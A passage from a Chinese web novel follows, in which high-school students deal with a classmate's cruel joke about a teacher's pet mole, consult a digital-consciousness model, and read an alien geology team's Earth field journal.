人类双眼可视视觉约为124度,集中注意力时约为五分之一,也就是25度。皇后灵活运用fps游戏里的潜行技巧避开路过同学。避无可避时就会祭出彩色小皮筋、草稿纸团、楼下绿化带摘的花苞等暗器,吸引对方注意力,然后快速通过。
和老师打招呼她倒是大大方方的,毕竟她是自习课看电影时去打印真题,占据了道德高地,无人能拦。
于是,就在文印室门口,她和宋悦馨见面了。
皇后和宋悦馨的角色定位极度重合。对异性略有偏袒,都市丽人,八面玲珑。甚至连发型都是如出一辙的半披发!
不对。皇后敏锐地察觉到:
她的半披发是从肩头留出两缕长发的造型,宋悦馨只是单纯的披肩,她赢了!
……真不知道她到底赢在了什么地方。
宋悦馨审视的眼神剖析着她,过了几秒,两人同时露出一个得体的笑容。
“你先。”
“不,你先。”
她们都知道这将是一个无穷的语言游戏,于是两人略微颔首,每人贡献一只手,一同推开文印室大门。
文印室老师夺门而出。
他的哀鸣绕梁三日不绝:“后勤!后勤师傅!”
文印室内山河减光霆电交错,天地变色大地震荡。A4纸亮白的表面反射着夏初的太阳,仿佛海滩边鸣声高亢、漫天飞旋的白鸟。
皇后一把挥开冲向自己的锋利纸张:“怎么回事?”
没有人能回答她,宋悦馨扶了扶上课看黑板专用的圆框眼睛,眯起眼睛巡视四周,终于让她找到了罪魁祸首。
打印机的出纸口如同枪口发射子弹一样吐着纸张。每一张纸都带着贯穿苍穹的力度和气势,冲出打印机,冲向天花板,冲破世界对纸的刻板印象,打响A4纸革命的第一枪。
皇后淡淡地歪了歪头:笑话,区区打印机故障,怎么可能拦得住她打印物理真题的脚步。她以精妙的身法穿越白纸迷阵。经验、努力、汗水、和这么多年吃过的盐和饭,凝聚成所有电器的必杀技:拍一巴掌。
打印机好了。
……吗?
没有!打印机更加疯狂了!它不再向外发射,它开始向内吸收!语文数学化学英语物理历史政治生物地理还有不知道什么语言的东西,统统被吸进放纸口,打印机里仿佛有一个吞噬万物的黑洞。
宋悦馨按兵不动。有人替她干活,她绝不以身涉险。可是皇后与她同样有着对“风险”的极高敏感度,她立刻退回门口,和宋悦馨无辜对视。
“怎么办?”皇后叹息,“这样还怎么打印啊?”
宋悦馨咬住下嘴唇,抱紧手里的卷子:“唉,老师让我打的卷子该怎么办?这样下去作业发不下去啊……”
出现了!各位外星生物地球生物们!三中第不知道多少届,学生间的暗中对峙生死交锋大赛正式开始!宋悦馨选手首先打出一招“地位压制”,以老师口谕起手,攻击皇后的心理防线。
皇后选手会怎么做呢?她使用洞察,试图看穿对手!如果是老师口谕,她根本不必在这里等待,而是可以直接回禀老师文印室的情况。综上所述,真相只有一个:你也是来偷学的吧!
宋悦馨选手将如何应对?她……她……她……她使用了煽动!该技能对叠加了状态“男子气概”的角色呈加倍效果,对“责任心”属性的拥有者同样效果拔群。
天呐!皇后选手免疫了!居然是同属性免疫!皇后选手再发动道德压制:她刚才已经经过了行动轮,下面该宋悦馨选手了!
宋悦馨选手使用技能:变色龙。她开始伪装柔弱、痛经、腱鞘炎、脊柱侧弯、轻度抑郁等高中生常见症状。
不行,一个流派,破不了招,这样下去将永无止境。
两人争执不休之际,一只小鼹鼠用肉乎乎的大爪子抱着头,从放置打印机的桌子下面滚出
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来。它瑟瑟发抖,看起来明显不如马老师带着的那两只小鼹鼠那般活泼灵敏,但它还是努力爬到了皇后腿上。
皇后厌恶地抽走裤脚。宋悦馨对它倒是挺友善,怜惜地把它抱起来:“小东西怪可爱的,马老师把你落在这儿了吗?”
鼹鼠大姐很努力地想让她们理解什么。但是她们不像颜阎和刘征兰那样可以用不合理生活的磨练理解其他生物的语言,因为她们就是这两个人口中的不合理一派。
双方语言不通,鼹鼠大姐痛苦地拍了下脑门。
皇后在旁边捋了一下自己的头发:“你把它一直举着?”
宋悦馨摸了两下,觉得还挺软乎的:“怪可爱。”
皇后背着手,俯身看着这个小东西,忽然浅浅一笑:“把它扔进纸口试试?”
宋悦馨一顿,她感到手心的汗一下子冒出来。但此时的退缩就等于认输,于是她也笑眯眯的:“行呀,你扔?”
皇后用指腹揉着它头顶的毛,动作非常轻柔,甚至感受不到一丝恶意:“会变成鼠饼吧。”
宋悦馨笑了笑。
皇后似乎真的想象了一下,在她脑海里,肥嘟嘟的小鼹鼠会变成一个扁扁的大饼,脸像水滴鱼一样挤在一起,爪子像大饼上的红点,有点好笑。
她为鼠饼笑话自鸣得意,低低笑起来。
宋悦馨感觉一阵恶寒,但现在还不是出手的时候:“算是虐待动物吧?”
“我又没拿刀捅它,也不拿针扎它,和虐待差得远着呢。”皇后轻巧地回答,“我就想看看。”
“小动物幽灵缠上你。”
“它都听不懂人话,连谁把它扔进去的都不知道。”皇后声音轻柔地逗弄鼹鼠,“它能听懂肯定会跑嘛,你说是不是啊小老鼠?”
鼹鼠用力挣扎,四肢在空中挥舞。但不知道为什么,它的行动比普通鼹鼠要迟钝很多,连翻身都做不到。
“哇,那万一打印机里面卡住了,你岂不是要赔?”
皇后心里骂了一句:这家伙居然想把事情推给她一个人。
是的,她接收到了错误的讯息,误以为宋悦馨想让她单独承担把小动物扔进去的责任。她暗地翻了个白眼,嘴上和她绵里藏针:“你一点责任不愿意承担呀?那我不扔了,你爱扔你扔。”
宋悦馨彻底地疑惑了。
她尴尬地与皇后过了几招,然后把鼹鼠放在卷子上,转头就跑。当她在办公室和周天子撞见时,几乎有种逃离魔窟的劫后余生,感觉办公室如此开阔、光明。
“没打印出来?”周天子愣了一下,宋悦馨是有求必应的小帮手,上到操控一体机,下到收起全班作业,从来尽心尽力,争取不让老师有半点失望,她做不到的事还是很少见的。
语文老师盘腿坐在办公椅,利用反作用力滑过来:“哎呀打印机坏掉了。所有卷子都打不了。”
周天子笑着骂了一句:“便宜那些学生了。”
宋悦馨举起鼹鼠:“老师,我在文印室找到的,怎么处理?”
“马姐的小宠物。”周天子看了一眼就说,“四班是她的课,你给她吧。别让校长看见。”
宋悦馨走出办公室,心有余悸,急于跟自己的朋友们吐槽:“我草,隔壁四班的那个女生,完全是个疯子啊!”
一沓数学作业和她擦肩而过,刘征兰恹恹走过,明显没睡醒。在宋悦馨自己反应过来之前,她就已经抓住了对方。
刘征兰惊恐地看着她:“怎么了?等我放完作业!”
宋悦馨站在门口等着她。这一刻,她感觉到一丝安心,文印室那隐秘的恶意像海面退去的浪花,重新涌上来的便是她儿时的记忆。
小时候,刘征兰也经常在班级外面等她。她帮老师批完作业,就出来跟她会和,两人一起回家。
她们畅聊学校的趣事:某人的感情八卦,讨厌的女同学,成绩很好的班长……
她们分享彼此的秘密,也分享彼此的阴暗面,这种共谋般的关系让她们变得亲密无间,她可以在刘征兰面前毫无顾忌地放肆大笑。那种笑的感觉,仿佛喝下一口晴澈的蓝天般爽朗,她至今还时常怀念。
刘征兰从办公室走出来,两人慢慢踱到走廊里。
宋悦馨组织了一下语言,把刚才发生的事告诉刘征兰。
刘征兰的表情也渐渐扭曲起来,听到最后,她骂了声脏话,发出和她如出一辙的感叹:“这么变态?”
“你小心着她,我觉得太恐怖了。”
“好。”刘征兰神情扭曲,“我去跟颜阎说一声。”
“你跟全世界都说一声!”宋悦馨低声叫着,“这种人必须受到制裁!”
两个人苦着脸点点头,在班级前分道扬镳了。
虽然刚才见到了虐待动物的纯血神经病,但宋悦馨走着走着,脚步居然莫名轻快起来。
虽然刘征兰长大之后变得很奇怪,动不动做一些奇怪的事,讲一些网上的新定义,成为了一个略有些不切实际的空想家,但是她没有完全脱离现实,仍然有最基本的道德。
她们也没有失去儿时的友情,这份友情只是去往了记忆的深处,只要愿意,她们还能像小时候一样亲密无间、纵情欢笑。
想到这里,她的心里便如同文印室的纸张一般,下起了晶莹、雪白的美丽光点。仿佛是在为她重新找回朋友而拉开了无数的礼花。
61.春风妒
宋悦馨推开四班的门,门外的太阳仿佛一束圣光,从天堂照进暗无天日的地狱。
地狱里的恶魔们发出愤怒的咆哮:“看电影呢!关门!”
宋悦馨不动如山,在正事面前,一切感情都将被后置,无论是鄙夷还是对电影的渴望:“马老师呢?”
“办公室!”
宋悦馨无语了:一群无组织无纪律的学生配一个低效率运转的老师!
但她是不会把这种话说出来的。碰见马老师,她还是会笑容满面地说:“老师好~你的小宠物跑到文印室啦!”
在玩蜘蛛纸牌的马老师从电脑前抬起头,友善地对她招招手:“小宋啊,来来来,谢谢你把它带回来。吃糖不?”
“不吃啦。我要回去自习。”
马老师一听是自习,直接把她拉到旁边,给她塞了两块燕麦巧克力。
马老师和刘征兰一样,是宋悦馨无法理解的人。她不收礼物,拒绝关系户的补课请求,实在不学习的她也从不苦口婆心地劝,而是会嗤一声:“我管你学不学。”
虽然上课的时候非常严苛,但同学们莫名其妙地很喜欢她,没事就挤在她身边,小麻雀一样喊“马老师马老师”,可能在榕城这种乡土气息浓重的地方,她这种性格实在很酷。
可是……就是……马老师这样,在老师里风评不好啊!
刘征兰,她在四班的好朋友颜阎,还有马老师,她们这样生活,难道不会感觉很累吗?她们肯定也有自己想要达到的目标,可是这样把自己孤立于人群,蔑视规则、人情和世俗的一切,难道不会离目标越来越远吗?
宋悦馨不太理解,她觉得她们都是好人,可是为什么一定要去做那些奇怪的,让人误会的事呢?
马老师的亲切让她产生一种询问的冲动。但她压制住了自己心中的疑问,因为对方是老师,在老师面前展露自己的困惑,无疑是对自己专业形象的打击!她明智地选择闭口不谈。
小鼹鼠趴在马老师手边,发出聒噪的叫唤。马老师听着听着,眼睛从享受的眯缝,慢慢睁大了。
“小宋啊。”她慢悠悠开口,“文印室出什么事了?我怎么听说那边打印机坏掉了?”
“嗯,很明显坏掉了。A4纸满天乱飞。”
“只有你在?”
“文印室老师去找后勤师傅了。还有四班的一个半披发女同学。”宋悦馨毫不犹豫地供出皇后,出于自己对皇后的厌恶,她添油加醋了一下,“她好吓人,她想这只宠物扔进打印机压死。 ”
马老师把鼹鼠抱在怀里,慢慢抚过它的身体,神情无限接近于某部意大利□□电影。
皇后的做法的确很恶劣,但是她已经是高中老师了,教的是母患子必患子常父必常,又不是教导大家爱护动物的小学老师。而且她在学校养鼹鼠本身也不合规,大家都睁一只眼闭一只眼,总不能因为这种事明目张胆地罚她。
穿小鞋就更不好了,青少年嘛,教导是主要的,要是能让她改观就再好不过了。
她决心把这事吩咐下去。
于是下课后,暂停了电影,假装什么都没有发生的四班教室里,生物课代表对着颜阎露出了神秘的笑容:“你完了。”
颜阎心里一紧:生物考砸了?
“马老师叫你去办公室。”
颜阎感到自己两腮绷得发疼,胸口的位置一阵阵发烫,仿佛是肌肉随着紧张抽搐,各种分数从她眼前滑过,但她始终不愿意去触碰最差的可能性。
她听见自己的声音颤抖着问:“多少分?”
“去了就知道了。”
颜阎走进办公室,率先问候仓鼠三姐妹,然后面见玻璃罐里的荧光蛾子。最后才提心吊胆不情不愿蹭到马老师跟前:“老师好……我到底考多少分?”
马老师脸色不变,但暗地里给她塞了一条士力架:“小颜啊,老师拜托你个事。”
“不是考砸了?”
“不是。我还没批到你的卷子呢。你估分多少?”
“不会估,从来没准过。光等着您给我宣判呢。”
“那你继续等着吧。”
达摩克利斯之剑犹在头顶悬挂,颜阎的心没有特别放松,但上学时每天都是这感觉,只要应试教育不消失,她就不可能摆脱这种状态。于是她微微一笑,迅速调整状态正襟危坐:“那您有什么事?”
马老师左手一招,宋悦馨从窗帘后面现身:“臣在。”
宋悦馨添油加醋地说了皇后的事,然后应马老师的动作欣然退朝,回去上自习了。
颜阎拿人手短,不敢当场跑路:“马老师你希望我怎么做?”
马老师帮她撕开士力架包装袋,让她彻底无路可退:“老师不明白你们年轻人的想法,你和你的小朋友们要是能想办法告诉她,虐待动物这是不好的,最好能让她改正,老师会很高兴的!
实在不行也可以用你万能的绿色书包想想办法,如果你有需要,也可以找老师帮忙。”
颜阎悚然。她心里闪过无数猜想,最后定格成一句:“老师你……”
马老师抱起鼹鼠大姐,朝她肯定地眨了眨左眼:“有它们跟我告密呢。”
颜阎停顿片刻,然后抱起鼹鼠大姐蹲到墙角,小声说了几句话。鼹鼠大姐行动不便,于是她又把它抱回来,放回马老师怀里。马老师把耳朵凑到它嘴边,然后抬起头:“你说你想吃学校门外的糖葫芦。”
颜阎跳起来,一把握住马老师的手:“老师!!!”
“现在可以帮老师这个忙吗?”
虽然颜阎最近天天和外星人碰面,但了解外星人的地球土著,还是熟人,还是她最喜欢的老师,而且她还间接确认了马老师还是如此关心学生,没有任何成为邪恶科学家的迹象,她激动万分,很想一口答应下来。可是事实告诉她,改变一个人难如登天,她也无法胸有成竹地给出肯定的回答。
于是她只做出了模棱两可的承诺:“我一定尽量!”
颜阎中午和刘征兰康烁影在呼叫中心会和,康烁影带来了酱骨头给大家分享。浓油赤酱鲜香扑鼻的骨头肉,配着律易棋特供芦荟味全,谁迟了都说好。
三人分享了一下信息,并且为马老师还是个好人而小小地高兴了一下。
至于文印室的事,刘征兰评价为:“怎么感觉像是恶人自有恶人磨。”
康烁影当场站起身和她拉开距离:“宋悦馨还提醒了你呢,你这样就有点恩将仇报了哈。”
刘征兰面色扭曲地摇头:“不,宋悦馨是个很恐怖的人!”
颜阎被士力架腻得难受,在拿萝卜刀切着没吃完的部分,分给每个人当餐后甜品:“有多恐怖?”
“我完全不能理解她,完全不能。”刘征兰把脸埋在胳膊里,隐约能看见她惨白的脸,但沾满酱油的塑料手套让她多少有点好笑,“不管是理智上还是感情上都不能。就像她没办法理解皇后想杀鼹鼠的动机,所以觉得皇后很恐怖一样,我对她也是这样的感情。”
康烁影一边嗦骨头一边耸肩:“皇后都虐待动物了,完完全全是个变态啊!为什么要理解变态的思想?那只会让你也成为变态!宋悦馨比她好多了。”
“可是,皇后像是变态吗?”颜阎把士力架偷偷放进康烁影盘子里,“她和你都是现充,在年级里知名度很高,而且和她有感情纠葛的男生不少,你肯定听过她的八卦。你觉得她像是变态吗?”
她当然不是。如果她真的是变态,是无法在高中里隐藏的。高中是一种把人挤压到极致的机器,潜力、情绪、欲望、阴暗面都被榨取到极致。人们无暇伪装、经营,只能以最赤诚的面貌坦诚相见。
就像两块表面磨平干净的铅块,让它们紧密接触,铅块就能结合在一起。学生们就如同铅块的粒子,被迫进犯彼此的场所,最后互相嵌入对方的私人空间,形成难以剥离的伤痕。
这就是高中和宿舍为什么会遇到那么多举世皆惊的神经病和脑残,因为人们的距离太近了,近得不健康,人没有那么多的精力伪装自己,只能不堪地登场。
康烁影也知道皇后不是铁血真变态,顶多算个有点讨厌的人。但她还是觉得没必要去理解她怎么想,恐吓一下也能达到真正目的。
“可是世界上那么多虐待动物的人,你难道挨个恐吓过去?”颜阎反问。
“立法啊!法律就是恐吓!”
“法律只是最低的道德标准。要是有个人就是喜欢杀人,杀一个就欣然进监狱,出来继续杀,那不是很恐怖吗?结果他之后还多出了一大堆这样的杀人犯,大家只是抓,只立法,不探究,他们就跟爬山虎一样到处长!但是我们探究了,一查:好家伙背后是个邪教。把邪教端了,杀人犯也不会再增值了。
然后我们继续探究,探究邪教的成因,教授孩子们反洗脑的方式,会被邪教引诱的杀人犯就越来越少。这可比来一个杀一个好多了。”
康烁影撇了下嘴:“这么麻烦。还不如震慑得狠一点,把坏人都杀了。”
刘征兰气若游丝:“法院也是暴力机关的一环哦。你不可能永远也不会成为别人眼里的坏人,所以这种一刀切是危险的。”
康烁影被她俩弄烦了:“你们到底要干什么?我说皇后不好也不行,你们自己讨论好了。”
“我们只是在讨论。”刘征兰尽力爬起来,但康烁影的怒火把她烧得重新低下头,“我们现在只是不理解她们,我们想找到一个切入点,要是想不通我就会一直惦记。”
“哪有‘们’啊!”康烁影真的有点不高兴了,她不喜欢宋悦馨,但此刻真为她叫屈,“宋悦馨又是提醒你,又是勇救鼹鼠。虽然我知道你不喜欢她,但是你把她和皇后划在一起也有点过分了吧。”
刘征兰实在不想吵架,但语气没有让步的意思:“我没有把她们两个划在一起,我只是觉得她们都是我不能理解的那类人!”
颜阎一下子站起来,大声盖住康烁影尚未发出的声音:“打住!打住!停止情绪输出!让我们来梳理一下!”
她首先把舞台交给刘征兰:“你和宋悦馨发生过什么?你为什么不理解她?”
“她什么我都不能理解。喜欢损学生利老师我不理解,追星追竞搞对象我不理解,突然提醒我,我也不理解。”刘征兰的神情厌倦而迷茫,人际一向是她心里最难解的题目之一,“最重要的是,这些特征在她一个人身上,我更不理解。”
康烁影闷闷不乐:“因为你和她是发小啊。就算你们生分了,她也还是很在乎你。”
“屁啊。”刘征兰骂道,“她小学的时候昧下我作文。”
康烁影:“作文有什么好昧的,拿去卖废纸?”
“小学老师不喜欢我,而她是班长。”刘征兰深深地叹息,“我语文好,其他人都用拼音的时候我就能读百年孤独了——我没在炫耀!我只是说,那时候我交上去肯定会获奖的,本来在家里等着学校的奖状呢。但是最后也没获奖,我还因为这事被我妈骂了,说我太骄傲。”
“然后呢?”颜阎为了不让气氛僵硬,努力当捧哏。
“然后放假那天我发现,我的作文在她自己的桌洞里,她压根没交。”
康烁影“呃”了一阵,把自己的酱骨头撕了一块肉放进刘征兰盘子里:“那确实有点坏了。”
类似的背刺事件还有很多,一个中午都说不完。宋悦馨但凡今天不提示刘征兰,她都不会疑惑,可她还是提示了,宋悦馨对她到底是什么态度?皇后到底为什么想虐待小动物……
颜阎做出了结语:“人类,真难懂啊!”
她们对人类举起白旗。下午三个人腆着脸站在马老师面前:“对不起,马老师。我们把士力架吃了,而且我们还没有办法。”
马老师还在吃外卖鸭血粉丝,见到她们来得这么快,也没骂她们不上心:“这么快?”
三只鼹鼠各找了一个人的脚,爬上去朝她们扭屁股。三个人看在马老师的面子上没有把它们抖掉,只能咬着牙任它们狐假虎威。
颜阎代表所有人发言:“对……我们问了外星朋友,没有办法彻底改变一个人的思想。如果这是一种应激后的创伤,或者是发泄生活压力,那我们还能帮忙。可是我们讨论了一下,实在没办法理解她……”
马老师反问:“理解就行了?”
“嗯……至少理解是必须的。”
“那我有一个简单的方法。”马老师起身,拉开小办公室的门,“闺女们,暂且回避吧!”
三人顺势蹲在门外,和鼹鼠们玩石头剪刀布。鼹鼠的种族特性让它们只能出布,让三人结实地体验了一把胜之不武,小人得志。
过了几分钟,马老师打开门,把她们三个放进来,鼹鼠留在门外。
办公室里还是那么乱,堆满银色反光布和电子器材,唯一的变化是,电脑上出现了一个红色皮肤、笑容总是带着苦涩的女人。
“初次见面,英妹的朋友们。”她温柔的眼睛望着她们,“我是弓粟。”
颜阎和刘征兰的眼睛都瞪大了:“是那个弓粟?”
“对。”她苦笑着点头,“创造灵肉的弓粟。”
“你……你怎么还活着?”刘征兰被颜阎戳了一下,赶紧闭嘴。
“你怎么没死……不是。”颜阎被康烁影踢了一脚,也拉紧嘴上拉链。
弓粟伸出双手,她身后的背景随着她手指的运动不断变化:森林、海洋、实验室、办公室……整个世界在她身后掠过,而她巍然不动,仿佛矗立在时间里的一座丰碑。
“我是一个电子意识模型。从伦理上来说,不是真正的弓粟。我只是根据她的所有资料、人生经历、脑部扫描等手段整合而成的模型,和她本人不可一概而论。”她稍稍欠身,停下了身后景象的改变,“我是一个生存在电子世界的幽灵。”
办公室里出现了一阵微妙的沉默。
弓粟和马英妹眼神交流:你看吧,我就说她们不能接受。
马英妹没有回应,她双手插兜,镜片上一片雪白。
令弓粟窒息的沉默结束于刘征兰发自肺腑的感叹:“这也太酷了吧……”
“我就知道你们不能接……嗯?”
颜阎虔诚地紧扣双手:“弓粟老师,您的现身让我们的榕城蓬荜生辉,您想让我们帮您做什么吗?”
“主要是帮英妹。”弓粟眼看着马英妹的镜片下露出了“如我所料”的得意表情,一时哭笑不得,“我可以收集那位同学的信息资料,根据她的社交软件,人生经历,快速读取拍摄过她的录像,为她建立一个简易模型,你们愿不愿意试着理解她,带她走上正轨?”
三人庄重宣誓:“我们愿意。”
“那么,谁能提供她的社交账号?一个就可以。”
问题来了。谁都没有她的账号。颜阎和刘征兰没加过几个人好友,康烁影和皇后闹掰八百年了。最后的解决方案是,从刘征兰的账号上找到宋悦馨,再从她的账号上找到皇后。
刘征兰登陆自己的账号,弓粟的思绪探入后台的编码,找到宋悦馨的账号。无数信息涌入她的脑海:家庭、交友、成绩、现状……但她拨开那些信息如同拨开垂坠的灌木,真正的入口在深林的一条看似不起眼的小径后。她闲庭信步,眼前的叶片和枝条都为她让路,关于皇后的一切尽在眼前。
行走需要调动多处的神经和肌肉,人类却对其中的复杂浑然不觉。而她是电子数据的集合体,对于她来说,从一个账号找到另一个账号,从一条网线跳跃到另一个网线,就如同人类跑跳一样简单。
转瞬之间,无数代码在她身旁腾空而
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起,经过整合、运算和调整,一个年轻女孩出现在她身边。她面容寡淡,身形匀称,刘征兰总觉得她神情有种难以察觉的戏谑。
但最令康烁影注意的是,皇后的眉毛相当稀疏。她恍然大悟,差点笑出声来。
原来你这家伙的眉毛完全是画的!
弓粟绞着双手站在一旁:“电子意识模型并不能完全还原本人的思维。即便我是通史中最完善的电子模型,也和真人相差甚远。以前也只能担任博物馆讲解的身份,无法真正代替本人进行实验和决策。所以这个模型也只能用作参考。”
“没关系。”马英妹擅自原谅她,“你按照小宋说的,把她们早上在文印室的事情构造一下吧。”
场景立刻重现,颜阎说漫天A4纸还挺浪漫,但一想到它们每张都能划她个口子,浪漫就连夜出走了。皇后的话刚刚说到“鼠饼”那里,尚且还有挽回的余地。
康烁影说咱们先寒暄一下,问问她来打印什么。弓粟代替她说:“你来打印什么?”
模型里的皇后不动声色地挡住真题的名字,不想让任何人沾光:“物理题而已。”
“你理科成绩这么好,真厉害。”
“哪里,没有商博良和刘征兰好。”她仿佛想起什么,“刘征兰和你是发小吧?她还挺厉害的,就是有点理想化了。”
莫名被点名的刘征兰指着自己:“我啊?”
颜阎赶紧抢过话语权:“还好吧。她哪里理想化了?”
“物理月考交白卷啊。”
“那不是老师说女生理科不容易学好吗?”
皇后困惑地看着屏幕外的她们。她的手勾住一缕碎发头发撩倒耳后,仿佛勾住了一缕春风,没有半分矫饰的意味:“可是,这是事实啊。”
颜阎受不了她,转头求助老师:“马老师骂她!”
马老师上学时也听过很多遍这种话,她嗤了一声:“隔着屏幕骂不到。”
康烁影捏着鼻子继续跟她对话:“但你理科成绩就很好。”
“总体而言,女生理科好的就是不多嘛。”
颜阎呻.吟,刘征兰捶桌,康烁影捂着耳朵感觉自己被污染。
刘征兰跪在桌子下面气息奄奄:“这不是刻板印象吗……”
“有点吧。但是没有这个共识,刻板印象也无法形成呀。”
“刻板印象是社会构建的简单僵化的概括,而社会,是会变化的!所以刻板印象时刻在变。古代还说女的学不好诗歌,现代怎么就说女的学不好文科了?”
皇后为她激动的语言而侧目:“你好奇怪啊。你今天跟颜阎似的。”
被当作贬义词的颜阎气得大喊:“倒带!倒带!我要骂她!骂爽了再继续问!”
马老师提醒她:“别在老师面前说脏话哦。”
“我从不说脏话!”
弓粟把对话倒回一开始。颜阎的阴阳怪气随之而来:“你非要看到血糊拉的你才高兴?你是不是有什么特殊癖好?”
出人意料的是,皇后愣住了。
她似乎真的没想过把鼹鼠扔进打印机会是血淋淋的,调侃掩饰了生命消逝的事实,她如今才把这种行为和真正的死亡联系起来。
她并不想看到血肉横飞,她只是喜欢轻易处置某物的掌控感。当过于本质的事实摆在她眼前,她才意识到这有所不妥。
于是屏幕里的她随手把鼹鼠丢下了。腿脚不利索的鼹鼠大姐摔倒在地,滚了几圈。
“什……?”所有人都愣住了,“只是这样?”
弓粟把数据推理里她的心路历程呈现给所有人。大家看了又看,这下谁都无法理解了。
弓粟不太喜欢皇后,但还是忠诚地总结了她的行为特征:“她……只是……单纯地没能联想,同时又有点缺乏同理心。并不是真的想杀生,也不是真的变态。”
在无尽的疑惑里,刘征兰望向马老师,试图寻求成年人的帮助。
难道这是因为她还年轻,所以才会去寻求解释吗?难道这种执着是人人必经的阶段,最后都会释然,或者,最后都能得到解答吗?
但马老师同样困惑、迷茫、惊讶。这让刘征兰的心不再浮躁。
“大人们依然对此不解、好奇,理解别人是一种始终伴随着人类的欲望。这就是为什么社会学和心理学还存在。”刘征兰这么想着,镜片后的眼睛快活地眯起来。
马老师稍微放心了:皇后是有点讨厌、有点拥护社会构建的印象,有点喜欢在背后说人小话,但至少不是变态。
她心情大好,准备给每个人发一块绿豆糕。
此时我们要重复伟大的碧破女士留下的名言:世界是一个巨大的舞台。
这里什么都有可能发生。
电脑屏幕闪烁,弓粟的面庞扭曲成信号丢失时的彩条,跳屏、卡顿和滋滋的声音覆盖了她真正的容颜,整个画面仿佛风中摇曳的焰苗。
马老师的手腕磕在抽屉里,手指被夹掉一块肉。但她无暇他顾,直接扑到电脑前:“怎么回事?我给你换了个显卡,不至于卡成这样啊!”
弓粟的声音里明显夹杂着抖动和电子音:“有人滋滋滋滋哔起滋滋滋……强行……滋滋滋滋……链接我……”
她指着屏幕外的一个方向,定格了数秒后,画面陷入了一片漆黑。狂风中的焰苗终于熄灭了。
她指着的方向是康烁影的头顶。
那里的空间变换摇摆,仿佛游戏世界里一个贴图错误。
球球的身影若隐若现。
坏了,她们都忘了。康烁影是萝比厄尔梦幻影视制片厂的女主角,全天候有人跟拍来着。
颜阎二话不说爬上桌子,踩上窗框、踮脚、起跳,飞身拽下球球。马英妹疾步赶来,用膝盖把球球压在地上,提声怒喝:“你干了什么!”
这个动作把一个小小的东西甩出了球球的身体,但它顾不上这些。它把摄像头挪到另一边,看起来无限接近于人类的心虚:“我见到弓粟,太激动了。想拷贝一份她的意识模型……”
电子意识模型对于智械来说,就像是手办一样的收藏品。更何况它眼前的还是从玛丽基金会逃出来的原版典藏古旧款!
但它没想到,弓粟的电子模型这么落后,居然和它的系统完全不兼容。
刹那间,宇宙中发生了无数的事情。
某人眺望着学校的天文台方向。夜色辽远而寂寞,仿佛晕染的黑蓝色墨水,沉沉压在人们心头。他背靠着烂尾楼里漏棉的沙发,咬下手里的馒头蘸酱,不就水竭力吞咽。手中滴滴作响的机器向某地发射了一段奇异的电波。
玛丽基金会从一颗爬行文明占据的行星处,检测到一条关于弓粟电子意识模型的举报信息。
铃铛将收到来自玛丽基金会的外派任务,这次的派遣格外迅速,但仍然需要两个月左右才会落实到她手中。她对此浑然不觉,此时正和接电话的两位员工上班摸鱼,偷偷玩胡闹厨房。
一只名梗犬嗅到了不凡的气息,它咬住身旁人的衣服向一个方向拖拽。它的好伙伴俯下身摸了摸它的头:“怎么了托雷?你找到谷神它们了吗?”
在课桌下玩手机的宋悦馨发现,自己所有的社交账号都陷入了卡顿,无数弹窗调出来,在她看清楚之前又来了下一个。各种语音、图片、视频涌入她的账号。无辜的手机后台完全来不及清理,一群垃圾信息跑进控制台,揪起它们的衣领,把它们丢出去。
手机彻底失去控制,各种短视频和语音喷涌而出,死命按音量键也没用,她只好尴尬地和全班对视,欲哭无泪。
律易棋正在梦里征战沙场,站到一半果断当了逃兵。跑着跑着把自己从行军床上甩了下去。爬起来时总有种奇怪的预感。他换了衣服,打算去三中看一看,顺便给三个地球土著带杯奶茶。
62.野薄
20xx.6.1
(一张双方签字的凭证)
自从收容了牙买加草蜥、细嘴杓鹬、长江白鲟等410多种生物,并且与玛丽基金会的生物基因保存基地对比交流后,地质浪漫团确定地球已经步入生物灭绝的初阶段。
本日过后,所有地球生物将以濒危程度排序,依次被玛丽基金会收容基因,以保证种族留存。
民间组织地质浪漫团在地球的濒危生物收容活动从即日起停止。重心转向地质勘探和化石发掘。
大地不会遗忘任何生物。
(一个倒置地质锤的标志,周围绕着一圈锯齿状草叶的植物)
签名人:彭达斯·铃铛
签名人:槲园星莱姆海岸的安宁
20xx.6.15
坐标:地球北美洲胡安德富卡海峡
(一张海蚀作用素描图,海蚀凹槽做出了标记)
(一张地质剖面的素描)
(一张1:1000的胡安德富卡海峡地貌素描图)
(玄武岩状态记录)
(小瓶盐酸滴验结果:不起泡,不含有碳酸钙)
本地玄武岩呈枕状,石表面玻璃壳风化为黄褐色,断口新鲜,新鲜面灰色,有白色斑点和黄色蚀变晕,表面玻璃质外壳发育,厚度在4~6 mm左右。斑状构造,气孔发育,斑晶为斜长石,少量橄榄石,基质为隐晶质结构。
(硫化物样品收集记录)
(一些书信草稿夹在中间)
“……团员们通过钻进飞机,偷偷潜入宠物航空箱等方式转到了亚洲,西藏和云南等地的团员们发了讯传,那里的地质剖面很有趣,我迫不及待想去看看。玛莉甚至想在西藏用精细仪器做重力勘探。
想想看吧,几千年后,地球的人们终于踏上环游群星的旅程,而我们早已把属于地球的矿产摸得一清二楚,甚至能送上一张矿产分布图。野心勃勃、试图征服宇宙的人们脸上浮现出错愕的表情,光是幻想都令我忍俊不禁。这一切,都是地质浪漫团的功劳!
感谢巴克兰从大学寄回的书,等我结束了地球的勘探就会回家阅读。
代我向约瑟夫哥哥和妈妈问好。”
(大量揉皱和过度使用的痕迹,应该有人在这一页夹书签,并且长时间没有拿出来)
20xx.4.26
(一张墨卡托投影地图和一张斯皮豪斯投影地图,斯皮豪斯投影地图上用一种表意文字做出了标注)
(一张未寄出的信件)
“祝好,妈妈!
很抱歉,跳格子对电子设备的影响太大,为了防止信息流失,我们全团只能用最原始的沟通方法:写信,都兰联合每振统一寄一次信。想必你有一天早上起床,会看到门缝里塞满了信纸。
在地球最有趣的一点是收集地图。我们购买了不同地区的地图,虽然出于政治、宣传和历史等问题,每个地区的地图都有所不同,但制图方法大多是横轴圆角割圆柱投影。我们知道,将球面上的世界投影到平面上却没有任何变形是不可能的,可是对于我们来说,这种投影方法还是变形太严重了。
我最喜欢的地图是斯皮豪斯投影法创造的那张,你可能不明白,这是以海洋为中心的地图,使海洋连成一体,摒弃了陆地动物中心视角,真正做到了从海洋生物的角度出发,这是一种可贵的精神!干得好啊,地球的智人!
为了这张地图,我决心深入海洋,在海底度过我在地球上的第一个两年假期。伊丽莎白和我约好在俄罗斯碰面,然后再以宠物的名义飞去亚洲。最好能找到失踪的鼹鼠姐妹。
